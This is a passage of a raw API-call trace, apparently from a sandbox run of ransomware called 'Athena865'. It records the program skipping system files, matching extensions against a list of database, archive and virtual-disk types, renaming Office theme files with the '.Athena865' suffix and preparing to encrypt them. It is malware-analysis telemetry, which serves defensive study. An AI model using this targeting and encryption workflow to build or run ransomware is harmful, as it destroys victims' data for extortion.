0x50d3a8 [0136.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.742] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.742] CloseHandle (hObject=0x17c) returned 1 [0136.742] CloseHandle (hObject=0x154) returned 1 [0136.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.742] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655c2c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x655c2c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6ae5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Angles.eftx", cAlternateFileName="ANGLES~1.EFT")) returned 1 [0136.742] lstrcmpiW (lpString1="Angles.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.742] lstrcmpiW (lpString1="Angles.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.742] lstrcmpiW (lpString1="Angles.eftx", lpString2=".") returned 1 [0136.742] lstrcmpiW (lpString1="Angles.eftx", lpString2="..") returned 1 [0136.743] lstrcmpiW (lpString1="Angles.eftx", lpString2="windows") returned -1 [0136.743] lstrcmpiW (lpString1="Angles.eftx", lpString2="bootmgr") returned -1 [0136.743] lstrcmpiW (lpString1="Angles.eftx", lpString2="temp") returned -1 [0136.743] lstrcmpiW (lpString1="Angles.eftx", lpString2="pagefile.sys") returned -1 [0136.743] lstrcmpiW (lpString1="Angles.eftx", lpString2="boot") returned -1 [0136.743] lstrcmpiW (lpString1="Angles.eftx", lpString2="ids.txt") returned -1 [0136.743] lstrcmpiW (lpString1="Angles.eftx", lpString2="ntuser.dat") returned -1 [0136.743] lstrcmpiW (lpString1="Angles.eftx", lpString2="perflogs") returned -1 [0136.743] lstrcmpiW (lpString1="Angles.eftx", lpString2="MSBuild") returned -1 [0136.743] lstrlenW (lpString="Angles.eftx") returned 11 [0136.743] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Angles.eftx" | out: lpString1="Angles.eftx") returned="Angles.eftx" [0136.743] lstrlenW (lpString="Angles.eftx") returned 11 [0136.743] lstrlenW (lpString="Athena865") returned 9 [0136.743] lstrcmpiW (lpString1="gles.eftx", lpString2="Athena865") returned 1 [0136.743] lstrlenW (lpString=".dll") returned 4 [0136.743] lstrcmpiW (lpString1="Angles.eftx", lpString2=".dll") returned 1 [0136.743] lstrlenW (lpString=".lnk") returned 4 [0136.743] lstrcmpiW (lpString1="Angles.eftx", lpString2=".lnk") returned 1 [0136.743] lstrlenW (lpString=".ini") returned 4 [0136.743] lstrcmpiW (lpString1="Angles.eftx", lpString2=".ini") returned 1 [0136.743] lstrlenW (lpString=".sys") returned 4 [0136.743] lstrcmpiW (lpString1="Angles.eftx", lpString2=".sys") returned 1 [0136.743] lstrlenW (lpString="Angles.eftx") returned 11 [0136.743] lstrlenW (lpString="bak") returned 3 [0136.743] lstrcmpiW (lpString1="ftx", lpString2="bak") returned 1 [0136.743] lstrlenW (lpString="ba_") returned 3 [0136.744] lstrcmpiW (lpString1="ftx", lpString2="ba_") returned 1 [0136.744] lstrlenW (lpString="dbb") returned 3 [0136.744] lstrcmpiW (lpString1="ftx", lpString2="dbb") returned 1 [0136.744] lstrlenW (lpString="vmdk") returned 4 [0136.744] lstrcmpiW (lpString1="eftx", lpString2="vmdk") returned -1 [0136.744] lstrlenW (lpString="rar") returned 3 [0136.744] lstrcmpiW (lpString1="ftx", lpString2="rar") returned -1 [0136.744] lstrlenW (lpString="zip") returned 3 [0136.744] lstrcmpiW (lpString1="ftx", lpString2="zip") returned -1 [0136.744] lstrlenW (lpString="tgz") returned 3 [0136.744] lstrcmpiW (lpString1="ftx", lpString2="tgz") returned -1 [0136.744] lstrlenW (lpString="vbox") returned 4 [0136.744] lstrcmpiW (lpString1="eftx", lpString2="vbox") returned -1 [0136.744] lstrlenW (lpString="vdi") returned 3 [0136.744] lstrcmpiW (lpString1="ftx", lpString2="vdi") returned -1 [0136.744] lstrlenW (lpString="vhd") returned 3 [0136.744] lstrcmpiW (lpString1="ftx", lpString2="vhd") returned -1 [0136.744] lstrlenW (lpString="vhdx") returned 4 [0136.744] lstrcmpiW (lpString1="eftx", lpString2="vhdx") returned -1 [0136.744] lstrlenW (lpString="avhd") returned 4 [0136.744] lstrcmpiW (lpString1="eftx", lpString2="avhd") returned 1 [0136.744] lstrlenW (lpString="db") returned 2 [0136.744] lstrcmpiW (lpString1="tx", lpString2="db") returned 1 [0136.744] lstrlenW (lpString="db2") returned 3 [0136.744] lstrcmpiW (lpString1="ftx", lpString2="db2") returned 1 [0136.744] lstrlenW (lpString="db3") returned 3 [0136.744] lstrcmpiW (lpString1="ftx", lpString2="db3") returned 1 [0136.744] lstrlenW (lpString="dbf") returned 3 [0136.745] lstrcmpiW (lpString1="ftx", lpString2="dbf") returned 1 [0136.745] lstrlenW (lpString="mdf") returned 3 [0136.745] lstrcmpiW (lpString1="ftx", lpString2="mdf") returned -1 [0136.745] lstrlenW (lpString="mdb") returned 3 [0136.745] lstrcmpiW (lpString1="ftx", lpString2="mdb") returned -1 [0136.745] lstrlenW (lpString="sql") returned 3 [0136.745] lstrcmpiW (lpString1="ftx", lpString2="sql") returned -1 [0136.745] lstrlenW (lpString="sqlite") returned 6 [0136.745] lstrcmpiW (lpString1="s.eftx", lpString2="sqlite") returned -1 [0136.745] lstrlenW (lpString="sqlite3") returned 7 [0136.745] lstrcmpiW (lpString1="es.eftx", lpString2="sqlite3") returned -1 [0136.745] lstrlenW (lpString="sqlitedb") returned 8 [0136.745] lstrcmpiW (lpString1="les.eftx", lpString2="sqlitedb") returned -1 [0136.745] lstrlenW (lpString="xml") returned 3 [0136.745] lstrcmpiW (lpString1="ftx", lpString2="xml") returned -1 [0136.745] lstrlenW (lpString="$er") returned 3 [0136.745] lstrcmpiW (lpString1="ftx", lpString2="$er") returned 1 [0136.745] lstrlenW (lpString="4dd") returned 3 [0136.745] lstrcmpiW (lpString1="ftx", lpString2="4dd") returned 1 [0136.745] lstrlenW (lpString="4dl") returned 3 [0136.745] lstrcmpiW (lpString1="ftx", lpString2="4dl") returned 1 [0136.745] lstrlenW (lpString="^^^") returned 3 [0136.745] lstrcmpiW (lpString1="ftx", lpString2="^^^") returned 1 [0136.745] lstrlenW (lpString="abs") returned 3 [0136.745] lstrcmpiW (lpString1="ftx", lpString2="abs") returned 1 [0136.745] lstrlenW (lpString="abx") returned 3 [0136.745] lstrcmpiW (lpString1="ftx", lpString2="abx") returned 1 [0136.746] lstrlenW (lpString="accdb") returned 5 [0136.746] lstrcmpiW (lpString1=".eftx", lpString2="accdb") returned -1 [0136.746] lstrlenW (lpString="accdc") returned 5 [0136.746] lstrcmpiW (lpString1=".eftx", lpString2="accdc") returned -1 [0136.746] lstrlenW (lpString="accde") returned 5 [0136.746] lstrcmpiW (lpString1=".eftx", lpString2="accde") returned -1 [0136.746] lstrlenW (lpString="accdr") returned 5 [0136.746] lstrcmpiW (lpString1=".eftx", lpString2="accdr") returned -1 [0136.746] lstrlenW (lpString="accdt") returned 5 [0136.746] lstrcmpiW (lpString1=".eftx", lpString2="accdt") returned -1 [0136.746] lstrlenW (lpString="accdw") returned 5 [0136.746] lstrcmpiW (lpString1=".eftx", lpString2="accdw") returned -1 [0136.746] lstrlenW (lpString="accft") returned 5 [0136.746] lstrcmpiW (lpString1=".eftx", lpString2="accft") returned -1 [0136.746] lstrlenW (lpString="adb") returned 3 [0136.746] lstrcmpiW (lpString1="ftx", lpString2="adb") returned 1 [0136.746] lstrlenW (lpString="adb") returned 3 [0136.746] lstrcmpiW (lpString1="ftx", lpString2="adb") returned 1 [0136.746] lstrlenW (lpString="ade") returned 3 [0136.746] lstrcmpiW (lpString1="ftx", lpString2="ade") returned 1 [0136.746] lstrlenW (lpString="adf") returned 3 [0136.746] lstrcmpiW (lpString1="ftx", lpString2="adf") returned 1 [0136.746] lstrlenW (lpString="adn") returned 3 [0136.746] lstrcmpiW (lpString1="ftx", lpString2="adn") returned 1 [0136.746] lstrlenW (lpString="adp") returned 3 [0136.746] lstrcmpiW (lpString1="ftx", lpString2="adp") returned 1 [0136.746] lstrlenW (lpString="alf") returned 3 [0136.747] lstrcmpiW (lpString1="ftx", lpString2="alf") returned 1 [0136.747] lstrlenW (lpString="ask") returned 3 [0136.747] lstrcmpiW (lpString1="ftx", lpString2="ask") returned 1 [0136.747] lstrlenW (lpString="btr") returned 3 [0136.747] lstrcmpiW (lpString1="ftx", lpString2="btr") returned 1 [0136.747] lstrlenW (lpString="cat") returned 3 [0136.747] lstrcmpiW (lpString1="ftx", lpString2="cat") returned 1 [0136.747] lstrlenW (lpString="cdb") returned 3 [0136.747] lstrcmpiW (lpString1="ftx", lpString2="cdb") returned 1 [0136.747] lstrlenW (lpString="ckp") returned 3 [0136.747] lstrcmpiW (lpString1="ftx", lpString2="ckp") returned 1 [0136.747] lstrlenW (lpString="cma") returned 3 [0136.747] lstrcmpiW (lpString1="ftx", lpString2="cma") returned 1 [0136.747] lstrlenW (lpString="cpd") returned 3 [0136.747] lstrcmpiW (lpString1="ftx", lpString2="cpd") returned 1 [0136.747] lstrlenW (lpString="dacpac") returned 6 [0136.747] lstrcmpiW (lpString1="s.eftx", lpString2="dacpac") returned 1 [0136.747] lstrlenW (lpString="dad") returned 3 [0136.747] lstrcmpiW (lpString1="ftx", lpString2="dad") returned 1 [0136.747] lstrlenW (lpString="dadiagrams") returned 10 [0136.747] lstrcmpiW (lpString1="ngles.eftx", lpString2="dadiagrams") returned 1 [0136.747] lstrlenW (lpString="daschema") returned 8 [0136.747] lstrcmpiW (lpString1="les.eftx", lpString2="daschema") returned 1 [0136.747] lstrlenW (lpString="db-journal") returned 10 [0136.747] lstrcmpiW (lpString1="ngles.eftx", lpString2="db-journal") returned 1 [0136.747] lstrlenW (lpString="db-shm") returned 6 [0136.748] lstrcmpiW (lpString1="s.eftx", lpString2="db-shm") returned 1 [0136.748] lstrlenW (lpString="db-wal") returned 6 [0136.748] lstrcmpiW (lpString1="s.eftx", lpString2="db-wal") returned 1 [0136.748] lstrlenW (lpString="dbc") returned 3 [0136.748] lstrcmpiW (lpString1="ftx", lpString2="dbc") returned 1 [0136.748] lstrlenW (lpString="dbs") returned 3 [0136.748] lstrcmpiW (lpString1="ftx", lpString2="dbs") returned 1 [0136.748] lstrlenW (lpString="dbt") returned 3 [0136.748] lstrcmpiW (lpString1="ftx", lpString2="dbt") returned 1 [0136.748] lstrlenW (lpString="dbv") returned 3 [0136.748] lstrcmpiW (lpString1="ftx", lpString2="dbv") returned 1 [0136.748] lstrlenW (lpString="dbx") returned 3 [0136.748] lstrcmpiW (lpString1="ftx", lpString2="dbx") returned 1 [0136.748] lstrlenW (lpString="dcb") returned 3 [0136.748] lstrcmpiW (lpString1="ftx", lpString2="dcb") returned 1 [0136.748] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.Athena865") returned 88 [0136.748] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.athena865"), dwFlags=0x1) returned 1 [0136.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.750] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27365) returned 1 [0136.750] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.750] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.750] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.750] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.751] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.751] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.751] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6df0, lpName=0x0) returned 0x17c [0136.753] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6df0) returned 0x100000 [0136.755] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.756] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.756] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.757] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.757] CloseHandle (hObject=0x17c) returned 1 [0136.757] CloseHandle (hObject=0x154) returned 1 [0136.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.757] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x354c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apex.eftx", cAlternateFileName="APEX~1.EFT")) returned 1 [0136.757] lstrcmpiW (lpString1="Apex.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.757] lstrcmpiW (lpString1="Apex.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.757] lstrcmpiW (lpString1="Apex.eftx", lpString2=".") returned 1 [0136.757] lstrcmpiW (lpString1="Apex.eftx", lpString2="..") returned 1 [0136.758] lstrcmpiW (lpString1="Apex.eftx", lpString2="windows") returned -1 [0136.758] lstrcmpiW (lpString1="Apex.eftx", lpString2="bootmgr") returned -1 [0136.758] lstrcmpiW (lpString1="Apex.eftx", lpString2="temp") returned -1 [0136.758] lstrcmpiW (lpString1="Apex.eftx", lpString2="pagefile.sys") returned -1 [0136.758] lstrcmpiW (lpString1="Apex.eftx", lpString2="boot") returned -1 [0136.758] lstrcmpiW (lpString1="Apex.eftx", lpString2="ids.txt") returned -1 [0136.758] lstrcmpiW (lpString1="Apex.eftx", lpString2="ntuser.dat") returned -1 [0136.758] lstrcmpiW (lpString1="Apex.eftx", lpString2="perflogs") returned -1 [0136.758] lstrcmpiW (lpString1="Apex.eftx", lpString2="MSBuild") returned -1 [0136.758] lstrlenW (lpString="Apex.eftx") returned 9 [0136.758] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Apex.eftx" | out: lpString1="Apex.eftx") returned="Apex.eftx" [0136.758] lstrlenW (lpString="Apex.eftx") returned 9 [0136.758] lstrlenW (lpString="Athena865") returned 9 [0136.758] lstrlenW (lpString=".dll") returned 4 [0136.758] lstrcmpiW (lpString1="Apex.eftx", lpString2=".dll") returned 1 [0136.758] lstrlenW (lpString=".lnk") returned 4 [0136.758] lstrcmpiW (lpString1="Apex.eftx", lpString2=".lnk") returned 1 [0136.758] lstrlenW (lpString=".ini") returned 4 [0136.758] lstrcmpiW (lpString1="Apex.eftx", lpString2=".ini") returned 1 [0136.758] lstrlenW (lpString=".sys") returned 4 [0136.758] lstrcmpiW (lpString1="Apex.eftx", lpString2=".sys") returned 1 [0136.758] lstrlenW (lpString="Apex.eftx") returned 9 [0136.758] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.Athena865") returned 86 [0136.758] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx.athena865"), dwFlags=0x1) returned 1 [0136.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.760] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=218310) returned 1 [0136.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.760] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.761] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.761] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.761] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x357d0, lpName=0x0) returned 0x17c [0136.763] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x357d0) returned 0x170000 [0136.773] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.774] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.774] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.775] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0136.777] CloseHandle (hObject=0x17c) returned 1 [0136.777] CloseHandle (hObject=0x154) returned 1 [0136.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.778] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f368c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f368c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbf81, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apothecary.eftx", cAlternateFileName="APOTHE~1.EFT")) returned 1 [0136.778] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.778] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.778] lstrcmpiW (lpString1="Apothecary.eftx", lpString2=".") returned 1 [0136.778] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="..") returned 1 [0136.778] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="windows") returned -1 [0136.778] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="bootmgr") returned -1 [0136.779] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="temp") returned -1 [0136.779] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="pagefile.sys") returned -1 [0136.779] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="boot") returned -1 [0136.779] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="ids.txt") returned -1 [0136.779] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="ntuser.dat") returned -1 [0136.779] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="perflogs") returned -1 [0136.779] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="MSBuild") returned -1 [0136.779] lstrlenW (lpString="Apothecary.eftx") returned 15 [0136.779] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Apothecary.eftx" | out: lpString1="Apothecary.eftx") returned="Apothecary.eftx" [0136.779] lstrlenW (lpString="Apothecary.eftx") returned 15 [0136.779] lstrlenW (lpString="Athena865") returned 9 [0136.779] lstrcmpiW (lpString1="cary.eftx", lpString2="Athena865") returned 1 [0136.779] lstrlenW (lpString=".dll") returned 4 [0136.779] lstrcmpiW (lpString1="Apothecary.eftx", lpString2=".dll") returned 1 [0136.779] lstrlenW (lpString=".lnk") returned 4 [0136.779] lstrcmpiW (lpString1="Apothecary.eftx", lpString2=".lnk") returned 1 [0136.779] lstrlenW (lpString=".ini") returned 4 [0136.779] lstrcmpiW (lpString1="Apothecary.eftx", lpString2=".ini") returned 1 [0136.779] lstrlenW (lpString=".sys") returned 4 [0136.779] lstrcmpiW (lpString1="Apothecary.eftx", lpString2=".sys") returned 1 [0136.779] lstrlenW (lpString="Apothecary.eftx") returned 15 [0136.779] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.Athena865") returned 92 [0136.779] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.athena865"), dwFlags=0x1) returned 1 [0136.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.781] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=49025) returned 1 [0136.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.781] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.782] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.782] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.782] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc290, lpName=0x0) returned 0x17c [0136.784] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc290) returned 0x100000 [0136.787] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.787] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.787] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.787] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.788] 